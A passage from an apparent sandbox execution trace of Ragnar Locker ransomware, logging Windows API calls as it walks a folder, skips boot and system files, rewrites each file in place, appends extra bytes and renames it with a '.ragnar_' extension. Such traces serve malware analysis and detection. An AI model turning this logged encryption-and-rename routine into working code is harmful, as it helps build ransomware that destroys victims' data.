Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" [0076.728] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0076.728] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.731] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ff8c880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ff8c880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.731] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0076.731] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0076.731] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\RGNR_FD7BD9FC.txt") returned=".txt" [0076.731] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0076.731] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0076.731] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0076.731] lstrcpyW (in: lpString1=0x1eab72, lpString2="STRTEDGE.ELM" | out: lpString1="STRTEDGE.ELM") returned="STRTEDGE.ELM" [0076.731] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned=".ELM" [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="autorun.inf") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="boot.ini") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="bootfont.bin") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="bootsect.bak") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="bootmgr") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="bootmgr.efi") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="bootmgfw.efi") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="desktop.ini") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="iconcache.db") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="ntldr") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="ntuser.dat") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="ntuser.dat.log") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="ntuser.ini") returned 1 [0076.731] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="thumbs.db") returned -1 [0076.732] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0076.732] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0076.732] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0076.732] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0076.732] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0076.732] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0076.732] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0076.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm")) returned 0x20 [0076.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.732] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=57906) returned 1 [0076.732] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xe229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.732] GetProcessHeap () returned 0x580000 [0076.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.732] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.734] VirtualAlloc (lpAddress=0x0, dwSize=0xe232, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.734] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.734] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.734] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe232, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe232, lpOverlapped=0x0) returned 1 [0076.736] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.736] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe232, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.736] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe232, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe232, lpOverlapped=0x0) returned 1 [0076.736] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe232, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.736] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.737] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xe232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.737] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.737] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.737] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.737] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.737] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.737] GetProcessHeap () returned 0x580000 [0076.737] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.737] CloseHandle (hObject=0x100) returned 1 [0076.737] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" [0076.737] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.ragnar_FD7BD9FC" [0076.737] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.738] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0076.738] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0076.738] lstrcpyW (in: lpString1=0x1eab72, lpString2="STRTEDGE.INF" | out: lpString1="STRTEDGE.INF") returned="STRTEDGE.INF" [0076.738] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned=".INF" [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="autorun.inf") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="boot.ini") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="bootfont.bin") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="bootsect.bak") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="bootmgr") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="bootmgr.efi") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="bootmgfw.efi") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="desktop.ini") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="iconcache.db") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="ntldr") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="ntuser.dat") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="ntuser.dat.log") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="ntuser.ini") returned 1 [0076.738] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="thumbs.db") returned -1 [0076.738] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0076.738] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0076.738] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0076.738] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0076.739] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0076.739] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0076.739] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0076.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf")) returned 0x20 [0076.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.739] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=625) returned 1 [0076.739] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.739] GetProcessHeap () returned 0x580000 [0076.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.740] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.740] VirtualAlloc (lpAddress=0x0, dwSize=0x271, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.740] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.741] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.741] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x271, lpOverlapped=0x0) returned 1 [0076.741] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.741] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x271, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.741] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x271, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x271, lpOverlapped=0x0) returned 1 [0076.741] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x271, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.741] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.741] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x271, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.741] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.741] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.741] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.741] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.742] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.742] GetProcessHeap () returned 0x580000 [0076.742] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.742] CloseHandle (hObject=0x100) returned 1 [0076.742] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" [0076.742] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.ragnar_FD7BD9FC" [0076.742] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.742] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0076.742] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0076.742] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned=".PNG" [0076.742] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.742] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0076.742] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0076.742] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0076.742] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0076.742] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0076.742] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0076.743] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0076.743] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0076.743] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0076.743] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0076.743] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0076.743] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0076.743] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0076.743] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0076.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0076.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.752] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=33479) returned 1 [0076.755] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x82be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.755] GetProcessHeap () returned 0x580000 [0076.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.755] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.770] VirtualAlloc (lpAddress=0x0, dwSize=0x82c7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.772] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.773] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.776] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x82c7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x82c7, lpOverlapped=0x0) returned 1 [0077.072] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.091] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x82c7, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.092] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x82c7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x82c7, lpOverlapped=0x0) returned 1 [0077.094] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x82c7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.096] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.098] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x82c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.098] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.098] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.099] WriteFile (in: hFile=0x100, 